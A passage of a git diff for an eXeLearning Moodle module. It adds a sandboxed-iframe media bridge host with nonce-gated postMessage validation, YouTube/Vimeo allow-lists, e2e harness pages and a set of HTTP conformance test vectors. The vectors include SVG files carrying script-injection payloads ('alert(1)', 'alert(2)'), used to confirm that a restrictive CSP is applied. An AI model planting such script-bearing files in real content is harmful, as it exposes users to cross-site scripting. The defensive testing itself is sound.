+            if (isThenable(ct) || isThenable(dur)) {
+                Promise.all([Promise.resolve(ct), Promise.resolve(dur)]).then(function (r) {
+                    emitTimeupdate(session, r[0], r[1]);
+                });
+            } else {
+                emitTimeupdate(session, ct, dur);
+            }
+        }, 250);
+    }
+
+    function openMedia(session, provider, videoId, openOpts) {
+        var opts = session.opts || {};
+        var container = buildModal(session);
+        var callbacks = {
+            start: openOpts.start,
+            autoplay: openOpts.autoplay,
+            onReady: function (duration) {
+                sendEvent(session, { action: 'ready', duration: duration });
+                startPolling(session);
+            },
+            onPlay: function () { sendEvent(session, { action: 'play' }); },
+            onPause: function () { sendEvent(session, { action: 'pause' }); },
+            onEnded: function () { sendEvent(session, { action: 'ended' }); },
+            onSeeked: function (t) { sendEvent(session, { action: 'seeked', currentTime: t }); },
+            onError: function (code) { sendEvent(session, { action: 'error', code: String(code), fatal: true }); },
+        };
+        var factory =
+            provider === 'vimeo'
+                ? opts.vimeoFactory || vimeoRawAdapter
+                : opts.youtubeFactory || youtubeRawAdapter;
+        session.adapter = factory(container, videoId, callbacks);
+    }
+
+    function answerState(session, reqId, field) {
+        if (!session.adapter) return;
+        var value = field === 'duration' ? session.adapter.getDuration() : session.adapter.getCurrentTime();
+        Promise.resolve(value).then(function (v) {
+            var ev = { action: 'state', reqId: reqId };
+            ev[field === 'duration' ? 'duration' : 'currentTime'] = v;
+            sendEvent(session, ev);
+        });
+    }
+
+    function processCommand(session, data) {
+        if (!data || data.type !== TYPE || data.v !== VERSION) return;
+        if (data.exelearningBridge !== session.nonce) return; // nonce gate
+        if (!policy.COMMANDS[data.action]) return;
+
+        if (data.action === 'open') {
+            var url = policy.canonicalEmbedUrl(data.provider, data.videoId);
+            if (!url) {
+                sendEvent(session, { action: 'error', code: 'unsupported_provider', fatal: true });
+                return;
+            }
+            session.closed = false;
+            openMedia(session, data.provider, data.videoId, { start: data.start, autoplay: data.autoplay });
+            return;
+        }
+        if (!policy.validateCommand(data, session.nonce)) return;
+
+        var a = session.adapter;
+        switch (data.action) {
+            case 'play': if (a) a.play(); break;
+            case 'pause': if (a) a.pause(); break;
+            case 'seek': if (a) a.seek(data.t); break;
+            case 'getCurrentTime': answerState(session, data.reqId, 'currentTime'); break;
+            case 'getDuration': answerState(session, data.reqId, 'duration'); break;
+            case 'hide': hideModal(session); break;
+            case 'show': showModal(session); break;
+            case 'close': requestClose(session); break;
+            default: break;
+        }
+    }
+
+    // ---- Handshake + attachment -------------------------------------------------------
+
+    var records = [];
+
+    function teardown(session) {
+        if (!session) return;
+        destroyAdapter(session);
+        if (session.port1 && session.port1.close) session.port1.close();
+        if (session.dialog && session.dialog.remove) session.dialog.remove();
+    }
+
+    function handleHello(rec, data) {
+        var existing = rec.session;
+        if (existing && existing.helloId === data.helloId) return; // duplicate
+        if (existing) teardown(existing); // new helloId → re-pair
+
+        var nonce = genNonce(rec.opts);
+        var channel = makeChannel(rec.opts);
+        var session = {
+            iframe: rec.iframe,
+            opts: rec.opts,
+            nonce: nonce,
+            helloId: data.helloId,
+            port1: channel.port1,
+            adapter: null,
+            dialog: null,
+            pollTimer: null,
+            hiding: false,
+            closed: false,
+            interval: getInterval(rec.opts),
+        };
+        rec.session = session;
+
+        channel.port1.onmessage = function (e) {
+            processCommand(session, e.data);
+        };
+        if (typeof channel.port1.start === 'function') channel.port1.start();
+
+        rec.iframe.contentWindow.postMessage(
+            { type: TYPE, v: VERSION, action: 'welcome', helloId: data.helloId, exelearningBridge: nonce },
+            '*',
+            [channel.port2],
+        );
+    }
+
+    function onWindowMessage(rec, e) {
+        if (!rec.iframe || !rec.iframe.contentWindow || e.source !== rec.iframe.contentWindow) return;
+        if (policy.isHello(e.data)) handleHello(rec, e.data);
+    }
+
+    /**
+     * Register an iframe that renders eXeLearning content and start relaying its media.
+     * @returns {{detach: function}} handle
+     */
+    function attach(iframe, opts) {
+        opts = opts || {};
+        var win = opts.win || root;
+        var rec = { iframe: iframe, opts: opts, session: null, win: win, handler: null };
+        rec.handler = function (e) {
+            onWindowMessage(rec, e);
+        };
+        if (win.addEventListener) win.addEventListener('message', rec.handler);
+        records.push(rec);
+        return {
+            detach: function () {
+                if (win.removeEventListener) win.removeEventListener('message', rec.handler);
+                teardown(rec.session);
+                var i = records.indexOf(rec);
+                if (i >= 0) records.splice(i, 1);
+            },
+        };
+    }
+
+    function resetForTests() {
+        for (var i = 0; i < records.length; i++) {
+            var rec = records[i];
+            if (rec.win && rec.win.removeEventListener) rec.win.removeEventListener('message', rec.handler);
+            teardown(rec.session);
+        }
+        records = [];
+    }
+
+    root.exeMediaHost = {
+        attach: attach,
+        buildModal: buildModal,
+        _youtubeAdapter: youtubeRawAdapter,
+        _vimeoAdapter: vimeoRawAdapter,
+        _ytCommand: ytCommand,
+        _vimeoCommand: vimeoCommand,
+        _parseYtEvent: parseYtEvent,
+        _parseVimeoEvent: parseVimeoEvent,
+        _processCommand: processCommand,
+        _resetForTests: resetForTests,
+    };
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/tests/e2e/embed/exe_media_policy.js b/tests/e2e/embed/exe_media_policy.js
new file mode 100644
index 0000000..34cf942
--- /dev/null
+++ b/tests/e2e/embed/exe_media_policy.js
@@ -0,0 +1,258 @@
+/**
+ * exe_media_policy — pure, framework-free policy for the external-media bridge.
+ *
+ * Single source of truth shared by:
+ *   - the child runtime (exe_media_bridge.js) that runs inside exported content, and
+ *   - the reference parent relay (exe-media-host.js) that runs in the trusted host page.
+ *
+ * Responsibilities (all pure — no DOM mutation, no postMessage):
+ *   - Detect and normalize supported external media (YouTube, Vimeo) into a neutral
+ *     descriptor; recognize PDFs for a deferred open-in-new-tab fallback.
+ *   - Rebuild canonical, privacy-friendly embed URLs from a bare provider id, so the
+ *     bridge never has to trust an attacker-supplied URL (kills redirect-laundering).
+ *   - Validate the versioned postMessage/MessageChannel contract (handshake, commands,
+ *     events) with a strict schema, a closed action enum and a provider allowlist.
+ *
+ * This file is a CLASSIC browser script (no ES module syntax) so it can be shipped
+ * verbatim inside exported packages and loaded over file:// — while still being
+ * importable (for its side effect) by the Vitest suite, which reads the global it sets.
+ *
+ * @license AGPL-3.0
+ */
+(function (root) {
+    'use strict';
+
+    var TYPE = 'exe-media';
+    var VERSION = 1;
+
+    // Bare-id shapes. YouTube ids are exactly 11 url-safe chars; Vimeo ids are numeric.
+    var ID_RE = {
+        youtube: /^[A-Za-z0-9_-]{11}$/,
+        vimeo: /^[0-9]{6,12}$/,
+    };
+
+    // Host allow-lists per provider. Anything else never matches a provider, so IPs,
+    // loopback, *.local and look-alike domains (evil.com/watch?v=...) cannot slip in.
+    var YOUTUBE_HOSTS = {
+        'youtube.com': 1,
+        'www.youtube.com': 1,
+        'm.youtube.com': 1,
+        'music.youtube.com': 1,
+        'youtube-nocookie.com': 1,
+        'www.youtube-nocookie.com': 1,
+    };
+    var YOUTU_BE_HOSTS = { 'youtu.be': 1, 'www.youtu.be': 1 };
+    var VIMEO_HOSTS = { 'vimeo.com': 1, 'www.vimeo.com': 1 };
+    var VIMEO_PLAYER_HOSTS = { 'player.vimeo.com': 1 };
+
+    // Closed action enums. Anything outside these is dropped before any work happens.
+    var COMMANDS = { open: 1, play: 1, pause: 1, seek: 1, getCurrentTime: 1, getDuration: 1, hide: 1, show: 1, close: 1 };
+    var EVENTS = { ready: 1, play: 1, pause: 1, ended: 1, timeupdate: 1, seeked: 1, state: 1, error: 1, closed: 1 };
+
+    function isObject(v) {
+        return v !== null && typeof v === 'object';
+    }
+
+    function finiteNonNeg(n) {
+        return typeof n === 'number' && isFinite(n) && n >= 0;
+    }
+
+    function isAllowedProvider(provider) {
+        return provider === 'youtube' || provider === 'vimeo';
+    }
+
+    function isValidVideoId(provider, id) {
+        var re = ID_RE[provider];
+        return !!re && typeof id === 'string' && re.test(id);
+    }
+
+    /**
+     * Build the canonical, privacy-friendly embed URL for a provider id. Returns null
+     * for unknown providers or ids that fail the provider's shape — so a malicious id
+     * can never be templated into a live URL.
+     */
+    function canonicalEmbedUrl(provider, id) {
+        if (provider === 'youtube' && isValidVideoId('youtube', id)) {
+            return 'https://www.youtube-nocookie.com/embed/' + id;
+        }
+        if (provider === 'vimeo' && isValidVideoId('vimeo', id)) {
+            return 'https://player.vimeo.com/video/' + id;
+        }
+        return null;
+    }
+
+    function firstPathSegment(pathname) {
+        var parts = pathname.split('/');
+        for (var i = 0; i < parts.length; i++) {
+            if (parts[i]) return parts[i];
+        }
+        return '';
+    }
+
+    function youtubeIdFromUrl(u) {
+        var host = u.hostname.toLowerCase();
+        if (YOUTU_BE_HOSTS[host]) {
+            return firstPathSegment(u.pathname);
+        }
+        if (YOUTUBE_HOSTS[host]) {
+            var v = u.searchParams.get('v');
+            if (v) return v;
+            var m = u.pathname.match(/^\/(?:embed|v|shorts)\/([^/?#]+)/);
+            if (m) return m[1];
+        }
+        return '';
+    }
+
+    function vimeoIdFromUrl(u) {
+        var host = u.hostname.toLowerCase();
+        if (VIMEO_PLAYER_HOSTS[host]) {
+            var m = u.pathname.match(/^\/video\/([0-9]+)/);
+            if (m) return m[1];
+        }
+        if (VIMEO_HOSTS[host]) {
+            return firstPathSegment(u.pathname);
+        }
+        return '';
+    }
+
+    function descriptor(provider, id, originalUrl, embedUrl, extra) {
+        var d = {
+            provider: provider,
+            providerVideoId: id,
+            originalUrl: originalUrl,
+            embedUrl: embedUrl,
+            aspectRatio: provider === 'pdf' ? undefined : '16:9',
+            interactive: false,
+            requiresBridge: provider !== 'pdf',
+        };
+        if (extra && extra.title) d.title = extra.title;
+        return d;
+    }
+
+    /**
+     * Normalize a URL string or an element (iframe/anchor) into a neutral media
+     * descriptor, or null when it is not a supported external embed.
+     */
+    function parseExternalMedia(input) {
+        var url = input;
+        var title;
+        if (input && typeof input.getAttribute === 'function') {
+            url = input.getAttribute('src') || input.getAttribute('href') || '';
+            title = input.getAttribute('title') || undefined;
+        }
+        if (typeof url !== 'string' || !url) return null;
+
+        var u;
+        try {
+            u = new URL(url);
+        } catch (e) {
+            return null;
+        }
+        // Reject userinfo (https://user@host/...) and non-web schemes outright.
+        if (u.username || u.password) return null;
+        if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
+
+        var ytId = youtubeIdFromUrl(u);
+        if (ytId) {
+            if (!isValidVideoId('youtube', ytId)) return null;
+            return descriptor('youtube', ytId, url, canonicalEmbedUrl('youtube', ytId), { title: title });
+        }
+
+        var vId = vimeoIdFromUrl(u);
+        if (vId) {
+            if (!isValidVideoId('vimeo', vId)) return null;
+            return descriptor('vimeo', vId, url, canonicalEmbedUrl('vimeo', vId), { title: title });
+        }
+
+        if (u.pathname.toLowerCase().slice(-4) === '.pdf') {
+            return descriptor('pdf', null, url, url, { title: title });
+        }
+
+        return null;
+    }
+
+    function hasEnvelope(d) {
+        return isObject(d) && d.type === TYPE && d.v === VERSION;
+    }
+
+    function isHello(d) {
+        return hasEnvelope(d) && d.action === 'hello' && typeof d.helloId === 'string' && d.helloId.length > 0;
+    }
+
+    function isWelcome(d) {
+        return (
+            hasEnvelope(d) &&
+            d.action === 'welcome' &&
+            typeof d.helloId === 'string' &&
+            typeof d.exelearningBridge === 'string' &&
+            d.exelearningBridge.length > 0
+        );
+    }
+
+    /**
+     * Validate a child→parent command. Defense in depth: envelope + a present, matching
+     * nonce (the `!!expectedNonce` guard prevents an absent expected nonce from ever
+     * authenticating a forged message) + closed action enum + per-action payload checks.
+     */
+    function validateCommand(d, expectedNonce) {
+        if (!hasEnvelope(d)) return false;
+        if (!expectedNonce) return false;
+        if (typeof d.exelearningBridge !== 'string' || d.exelearningBridge !== expectedNonce) return false;
+        if (!COMMANDS[d.action]) return false;
+        switch (d.action) {
+            case 'open':
+                return (
+                    Number.isInteger(d.reqId) &&
+                    isAllowedProvider(d.provider) &&
+                    isValidVideoId(d.provider, d.videoId) &&
+                    (d.start == null || finiteNonNeg(d.start))
+                );
+            case 'seek':
+                return finiteNonNeg(d.t);
+            case 'getCurrentTime':
+            case 'getDuration':
+                return Number.isInteger(d.reqId);
+            default:
+                return true; // play / pause / hide / show / close — no payload
+        }
+    }
+
+    /**
+     * Validate a parent→child event. Same envelope + closed enum + per-action payload.
+     */
+    function validateEvent(d) {
+        if (!hasEnvelope(d)) return false;
+        if (!EVENTS[d.action]) return false;
+        switch (d.action) {
+            case 'timeupdate':
+                return finiteNonNeg(d.currentTime) && finiteNonNeg(d.duration);
+            case 'seeked':
+                return finiteNonNeg(d.currentTime);
+            case 'state':
+                return Number.isInteger(d.reqId);
+            case 'ready':
+                return d.duration == null || finiteNonNeg(d.duration);
+            case 'error':
+                return typeof d.code === 'string' && typeof d.fatal === 'boolean';
+            default:
+                return true; // play / pause / ended / closed
+        }
+    }
+
+    var api = {
+        TYPE: TYPE,
+        VERSION: VERSION,
+        COMMANDS: COMMANDS,
+        EVENTS: EVENTS,
+        parseExternalMedia: parseExternalMedia,
+        canonicalEmbedUrl: canonicalEmbedUrl,
+        isAllowedProvider: isAllowedProvider,
+        isValidVideoId: isValidVideoId,
+        isHello: isHello,
+        isWelcome: isWelcome,
+        validateCommand: validateCommand,
+        validateEvent: validateEvent,
+    };
+
+    root.exeMediaPolicy = api;
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/tests/e2e/embed/local.pdf b/tests/e2e/embed/local.pdf
new file mode 100644
index 0000000..314e46d
Binary files /dev/null and b/tests/e2e/embed/local.pdf differ
diff --git a/tests/e2e/embed/parent-media.html b/tests/e2e/embed/parent-media.html
new file mode 100644
index 0000000..90187be
--- /dev/null
+++ b/tests/e2e/embed/parent-media.html
@@ -0,0 +1,18 @@
+<!doctype html>
+<!--
+  E2E harness — the "parent" half for the interactive-video media bridge (DEC-0067).
+  The trusted host page. Embeds the content in an opaque-origin sandboxed iframe and runs
+  mod's own parent-side media host (exe_media_policy.js + exe_media_host.js), exactly like
+  view.php wires it in secure mode. The host completes the capability handshake and opens
+  the provider player in a modal, driven by RAW postMessage (no third-party SDK).
+-->
+<html><head><meta charset="utf-8">
+<style>#wrap{position:relative;width:560px;height:420px}#content{width:100%;height:100%;border:0}</style>
+</head><body>
+<div id="wrap">
+    <iframe id="content" sandbox="allow-scripts" src="content-media.html"></iframe>
+</div>
+<script src="/tests/e2e/embed/exe_media_policy.js"></script>
+<script src="/tests/e2e/embed/exe_media_host.js"></script>
+<script>window.exeMediaHost.attach(document.getElementById('content'), {});</script>
+</body></html>
diff --git a/tests/e2e/embed/parent.html b/tests/e2e/embed/parent.html
new file mode 100644
index 0000000..f2b2884
--- /dev/null
+++ b/tests/e2e/embed/parent.html
@@ -0,0 +1,25 @@
+<!doctype html>
+<!--
+  E2E harness — the "parent" half (the trusted host page).
+  Loads the real parent relay (js/exe_embed_relay.js) and embeds the content in an
+  opaque-origin sandboxed iframe (sandbox="allow-scripts", no allow-same-origin),
+  exactly like the player iframe in secure mode.
+-->
+<html><head><meta charset="utf-8">
+<script>
+window.ExeEmbedRelayConfig = { whitelist: [
+    'www.youtube.com', 'youtube.com', 'www.youtube-nocookie.com',
+    'youtube-nocookie.com', 'player.vimeo.com', 'vimeo.com',
+    'www.dailymotion.com', 'dailymotion.com', 'geo.dailymotion.com',
+    'mediateca.educa.madrid.org'
+] };
+</script>
+<style>#wrap{position:relative;width:520px;height:760px}#content{width:100%;height:100%;border:0}</style>
+</head><body>
+<div id="wrap">
+    <iframe id="content" sandbox="allow-scripts" src="content.html"></iframe>
+</div>
+<script src="/js/exe_embed_relay.js"></script>
+<!-- mod's relay is dual-export and does not auto-run; view.php bootstraps it the same way. -->
+<script>window.exeEmbedRelay.init(window.ExeEmbedRelayConfig);</script>
+</body></html>
diff --git a/tests/e2e/media-host.spec.cjs b/tests/e2e/media-host.spec.cjs
new file mode 100644
index 0000000..bb6a4d5
--- /dev/null
+++ b/tests/e2e/media-host.spec.cjs
@@ -0,0 +1,48 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Cross-browser e2e for the interactive-video / video-quiz media bridge (DEC-0067), run in
+// Firefox via playwright-embed.config.cjs. A self-contained harness (no Moodle needed): the
+// opaque-origin sandboxed content runs the real eXeLearning child runtime
+// (exe_media_bridge.js) and calls window.exeMediaBridge.openMedia() — exactly what the
+// interactive-video and quick-questions-video iDevices do in secure mode — and the trusted
+// parent runs mod's own exe_media_host.js. The host completes the capability handshake
+// (window identity + nonce + transferred MessagePort) and opens the provider player in a
+// modal, controlled by RAW postMessage (enablejsapi=1), NOT the YouTube IFrame API.
+
+const { test, expect } = require('@playwright/test');
+
+test('interactive-video bridge: child openMedia() opens a host modal with a raw youtube-nocookie player, no SDK (Firefox)', async ({ page }) => {
+    await page.goto('/tests/e2e/embed/parent-media.html');
+
+    // The host opened its accessible modal in response to the validated 'open' command.
+    const modal = page.locator('dialog.exe-media-modal');
+    await expect.poll(() => modal.count(), { timeout: 15000 }).toBe(1);
+
+    // The modal holds the real provider player, built by the raw-postMessage adapter from
+    // the canonical {provider, videoId} (the child never passed a URL).
+    const player = modal.locator('iframe');
+    await expect.poll(() => player.count(), { timeout: 15000 }).toBeGreaterThan(0);
+
+    const src = await player.first().getAttribute('src');
+    // Canonical, privacy-friendly URL rebuilt by the host from the bare id.
+    expect(src).toMatch(/^https:\/\/www\.youtube-nocookie\.com\/embed\/aqz-KE-bpKQ\b/);
+    // enablejsapi=1 => the host drives the player by RAW postMessage, not the IFrame API.
+    expect(src).toContain('enablejsapi=1');
+
+    // The trusted parent page never loaded the YouTube IFrame API or the Vimeo SDK.
+    expect(await page.evaluate(() => typeof window.YT)).toBe('undefined');
+    expect(await page.evaluate(() => typeof window.Vimeo)).toBe('undefined');
+});
diff --git a/tests/fixtures/preview-contract/README.md b/tests/fixtures/preview-contract/README.md
new file mode 100644
index 0000000..9963355
--- /dev/null
+++ b/tests/fixtures/preview-contract/README.md
@@ -0,0 +1,65 @@
+# Preview serving contract v2 — conformance vectors
+
+`vectors.json` is a machine-readable sequence of requests and expected
+responses that every host implementing the
+[preview serving contract v2](../../../docs/preview-serving-contract.md)
+(Moodle, WordPress, Omeka S, Nextcloud, Procomún, Electron, eXe core) should
+replay against its own endpoints. This file is vendored verbatim from eXe core;
+its own canonical home and the reference consumer live upstream:
+
+- canonical contract: <https://github.com/exelearning/exelearning/blob/main/doc/development/preview-serving-contract.md>
+- reference consumer: <https://github.com/exelearning/exelearning/blob/main/src/routes/preview-session.conformance.spec.ts>
+
+Port the reference consumer's interpretation, not just its assertions.
+
+## Harness semantics
+
+1. **Fixed resources.** Before replaying, materialize every entry of
+   `fixedResources` under a throwaway distribution root: write `content` to
+   `path` (relative to the root) and register the id → `{ path, size }` in the
+   host's copy of the fixed-resource manifest. The host must resolve fixed refs
+   through that manifest only.
+2. **Authentication.** Management requests (`/api/preview-session…`) run as an
+   authenticated session owner (however the host authenticates). Serving
+   requests (`/preview/…`) run with **no credentials**.
+3. **Steps run in order** against ONE session. After `create-session`, capture
+   `previewId` from the response body and substitute it for `{previewId}` in
+   every later path. `constants` exists only for human reference — asset keys
+   appear verbatim inside the steps.
+4. **Request bodies.**
+   - `body.kind === "assets"` → multipart form: field `assets` =
+     `JSON.stringify(entries.map(e => ({ key: e.key, size: byteLength(e.content) })))`,
+     plus one `files[]` part per entry (the UTF-8 bytes of `content`),
+     index-aligned.
+   - `body.kind === "revision"` → multipart form: field `revision` =
+     `JSON.stringify({ ...meta, writes: writes.map(w => w.path) })`, plus one
+     `files[]` part per `writes` entry (the UTF-8 bytes of `content`),
+     index-aligned.
+   - `request.headers` (e.g. `Range`, `If-None-Match`) are sent verbatim.
+5. **Expectations.**
+   - `expect.status` — exact match.
+   - `expect.body` — recursive **subset** match against the parsed JSON
+     response (arrays must match exactly, objects may carry extra keys).
+   - `expect.bodyText` — exact match of the response body text.
+   - `expect.headers` — per header (names case-insensitive): a string means
+     exact value match; `{ "startsWith": s }` / `{ "contains": s }` match a
+     prefix / substring; `{ "absent": true }` asserts the header is not set.
+
+## What the sequence proves
+
+- protocol v2 negotiation (`protocolVersion: 2`, `revision: 0` at creation);
+- asset upload + **immutability** (re-uploading a key with different bytes is
+  `alreadyStored` and the original bytes keep serving);
+- atomic revision publication and the three-layer resolution order;
+- tiered `Cache-Control` (document `no-store` / asset `no-cache` + `ETag` /
+  fixed `private, max-age=31536000` / 404 `no-store`);
+- conditional (`304`) and single-range (`206`/`416`) asset requests;
+- the sandbox-first CSP on every scriptable type from the session **and** the
+  fixed layer (the "SVG opened in a new tab" hole);
+- hardening headers on every response, 404s included;
+- traversal rejection (raw and percent-encoded);
+- `409 revision-conflict` with `currentRevision`, `422 missing-assets`;
+- session deletion kills the capability URL.
+
+Keep this fixture in sync with the contract document; hosts vendor it verbatim
+(do not fork the JSON).
diff --git a/tests/fixtures/preview-contract/vectors.json b/tests/fixtures/preview-contract/vectors.json
new file mode 100644
index 0000000..1356f07
--- /dev/null
+++ b/tests/fixtures/preview-contract/vectors.json
@@ -0,0 +1,396 @@
+{
+    "description": "Machine-readable conformance vectors for eXeLearning preview serving contract v2 (doc/development/preview-serving-contract.md). Replay every step, in order, against a host implementation. See README.md for harness semantics.",
+    "protocolVersion": 2,
+    "fixedResources": {
+        "libs/jquery/jquery.min.js": {
+            "path": "libs/jquery/jquery.min.js",
+            "content": "window.jQuery=function(){};"
+        },
+        "theme:base/icon.svg": {
+            "path": "files/perm/themes/base/base/icon.svg",
+            "content": "<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(1)</script></svg>"
+        }
+    },
+    "constants": {
+        "photoKey": "aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57",
+        "clipKey": "12345678-90ab-4cde-8f01-234567890abc@00112233"
+    },
+    "steps": [
+        {
+            "id": "create-session",
+            "request": { "method": "POST", "path": "/api/preview-session" },
+            "expect": {
+                "status": 201,
+                "body": { "protocolVersion": 2, "revision": 0 }
+            }
+        },
+        {
+            "id": "upload-assets",
+            "request": {
+                "method": "POST",
+                "path": "/api/preview-session/{previewId}/assets",
+                "body": {
+                    "kind": "assets",
+                    "entries": [
+                        { "key": "aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57", "content": "PHOTO-BYTES-v1" },
+                        { "key": "12345678-90ab-4cde-8f01-234567890abc@00112233", "content": "0123456789" }
+                    ]
+                }
+            },
+            "expect": {
+                "status": 200,
+                "body": {
+                    "stored": [
+                        "aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57",
+                        "12345678-90ab-4cde-8f01-234567890abc@00112233"
+                    ],
+                    "alreadyStored": [],
+                    "rejected": []
+                }
+            }
+        },
+        {
+            "id": "reupload-asset-immutability",
+            "comment": "Same key, DIFFERENT bytes: reported alreadyStored, bytes NOT replaced (asserted later by serve-asset).",
+            "request": {
+                "method": "POST",
+                "path": "/api/preview-session/{previewId}/assets",
+                "body": {
+                    "kind": "assets",
+                    "entries": [
+                        {
+                            "key": "aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57",
+                            "content": "PHOTO-BYTES-v2-DIFFERENT"
+                        }
+                    ]
+                }
+            },
+            "expect": {
+                "status": 200,
+                "body": {
+                    "stored": [],
+                    "alreadyStored": ["aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57"],
+                    "rejected": []
+                }
+            }
+        },
+        {
+            "id": "publish-revision-1",
+            "request": {
+                "method": "POST",
+                "path": "/api/preview-session/{previewId}/revisions",
+                "body": {
+                    "kind": "revision",
+                    "meta": {
+                        "baseRevision": 0,
+                        "nextRevision": 1,
+                        "deletes": [],
+                        "assetRefs": {
+                            "content/resources/photo.png": "aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57",
+                            "media/clip.mp4": "12345678-90ab-4cde-8f01-234567890abc@00112233"
+                        },
+                        "fixedRefs": {
+                            "libs/jquery/jquery.min.js": "libs/jquery/jquery.min.js",
+                            "theme/icon.svg": "theme:base/icon.svg"
+                        }
+                    },
+                    "writes": [
+                        { "path": "index.html", "content": "<html><body>conformance</body></html>" },
+                        {
+                            "path": "img/inline.svg",
+                            "content": "<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(2)</script></svg>"
+                        }
+                    ]
+                }
+            },
+            "expect": { "status": 200, "body": { "revision": 1, "active": true } }
+        },
+        {
+            "id": "serve-document",
+            "request": { "method": "GET", "path": "/preview/{previewId}/index.html" },
+            "expect": {
+                "status": 200,
+                "bodyText": "<html><body>conformance</body></html>",
+                "headers": {
+                    "Content-Type": "text/html; charset=utf-8",
+                    "Cache-Control": "no-store",
+                    "X-Content-Type-Options": "nosniff",
+                    "Referrer-Policy": "no-referrer",
+                    "Access-Control-Allow-Origin": "*",
+                    "Content-Security-Policy": { "startsWith": "sandbox allow-scripts allow-popups allow-forms" }
+                }
+            }
+        },
+        {
+            "id": "serve-bare-root-redirect",
+            "comment": "The bare capability root never serves index.html bytes; it 302-redirects to the entry document with a RELATIVE Location (BASE_PATH / app:// safe). No trailing slash → Location resolves against /preview/{id}.",
+            "request": { "method": "GET", "path": "/preview/{previewId}" },
+            "expect": {
+                "status": 302,
+                "headers": {
+                    "Location": "{previewId}/index.html",
+                    "Cache-Control": "no-store",
+                    "X-Content-Type-Options": "nosniff"
+                }
+            }
+        },
+        {
+            "id": "serve-asset",
+            "comment": "Bytes are the ORIGINAL upload — proves reupload-asset-immutability did not replace them.",
+            "request": { "method": "GET", "path": "/preview/{previewId}/content/resources/photo.png" },
+            "expect": {
+                "status": 200,
+                "bodyText": "PHOTO-BYTES-v1",
+                "headers": {
+                    "Content-Type": "image/png",
+                    "Cache-Control": "no-cache",
+                    "ETag": "\"aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57\"",
+                    "Accept-Ranges": "bytes",
+                    "Content-Security-Policy": { "absent": true }
+                }
+            }
+        },
+        {
+            "id": "serve-asset-304",
+            "request": {
+                "method": "GET",
+                "path": "/preview/{previewId}/content/resources/photo.png",
+                "headers": { "If-None-Match": "\"aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57\"" }
+            },
+            "expect": {
+                "status": 304,
+                "headers": { "X-Content-Type-Options": "nosniff" }
+            }
+        },
+        {
+            "id": "serve-asset-range",
+            "request": {
+                "method": "GET",
+                "path": "/preview/{previewId}/media/clip.mp4",
+                "headers": { "Range": "bytes=2-4" }
+            },
+            "expect": {
+                "status": 206,
+                "bodyText": "234",
+                "headers": { "Content-Range": "bytes 2-4/10", "Content-Length": "3" }
+            }
+        },
+        {
+            "id": "serve-asset-range-unsatisfiable",
+            "comment": "Valid single range past EOF (first-byte-pos ≥ length) → 416.",
+            "request": {
+                "method": "GET",
+                "path": "/preview/{previewId}/media/clip.mp4",
+                "headers": { "Range": "bytes=99-" }
+            },
+            "expect": {
+                "status": 416,
+                "headers": { "Content-Range": "bytes */10" }
+            }
+        },
+        {
+            "id": "serve-asset-range-zero-suffix-unsatisfiable",
+            "comment": "A zero-length suffix (bytes=-0) is a VALID but unsatisfiable range → 416.",
+            "request": {
+                "method": "GET",
+                "path": "/preview/{previewId}/media/clip.mp4",
+                "headers": { "Range": "bytes=-0" }
+            },
+            "expect": {
+                "status": 416,
+                "headers": { "Content-Range": "bytes */10" }
+            }
+        },
+        {
+            "id": "serve-asset-range-inverted-ignored",
+            "comment": "last-byte-pos < first-byte-pos (bytes=5-2) is an INVALID spec and MUST be ignored → full 200 body, no Content-Range.",
+            "request": {
+                "method": "GET",
+                "path": "/preview/{previewId}/media/clip.mp4",
+                "headers": { "Range": "bytes=5-2" }
+            },
+            "expect": {
+                "status": 200,
+                "bodyText": "0123456789",
+                "headers": { "Content-Range": { "absent": true } }
+            }
+        },
+        {
+            "id": "serve-asset-range-inverted-oob-ignored",
+            "comment": "Inverted AND out of bounds (bytes=15-2 on a 10-byte body): structural invalidity is checked BEFORE satisfiability, so it is ignored (200), NEVER 416.",
+            "request": {
+                "method": "GET",
+                "path": "/preview/{previewId}/media/clip.mp4",
+                "headers": { "Range": "bytes=15-2" }
+            },
+            "expect": {
+                "status": 200,
+                "bodyText": "0123456789",
+                "headers": { "Content-Range": { "absent": true } }
+            }
+        },
+        {
+            "id": "serve-asset-range-multi-ignored",
+            "comment": "Multi-range is unsupported → ignored → full 200 body.",
+            "request": {
+                "method": "GET",
+                "path": "/preview/{previewId}/media/clip.mp4",
+                "headers": { "Range": "bytes=0-1,3-4" }
+            },
+            "expect": {
+                "status": 200,
+                "bodyText": "0123456789",
+                "headers": { "Content-Range": { "absent": true } }
+            }
+        },
+        {
+            "id": "serve-asset-range-non-bytes-ignored",
+            "comment": "A non-bytes range unit → ignored → full 200 body.",
+            "request": {
+                "method": "GET",
+                "path": "/preview/{previewId}/media/clip.mp4",
+                "headers": { "Range": "items=0-1" }
+            },
+            "expect": {
+                "status": 200,
+                "bodyText": "0123456789",
+                "headers": { "Content-Range": { "absent": true } }
+            }
+        },
+        {
+            "id": "serve-asset-range-garbage-ignored",
+            "comment": "Unparseable garbage (non-numeric positions) → ignored → full 200 body.",
+            "request": {
+                "method": "GET",
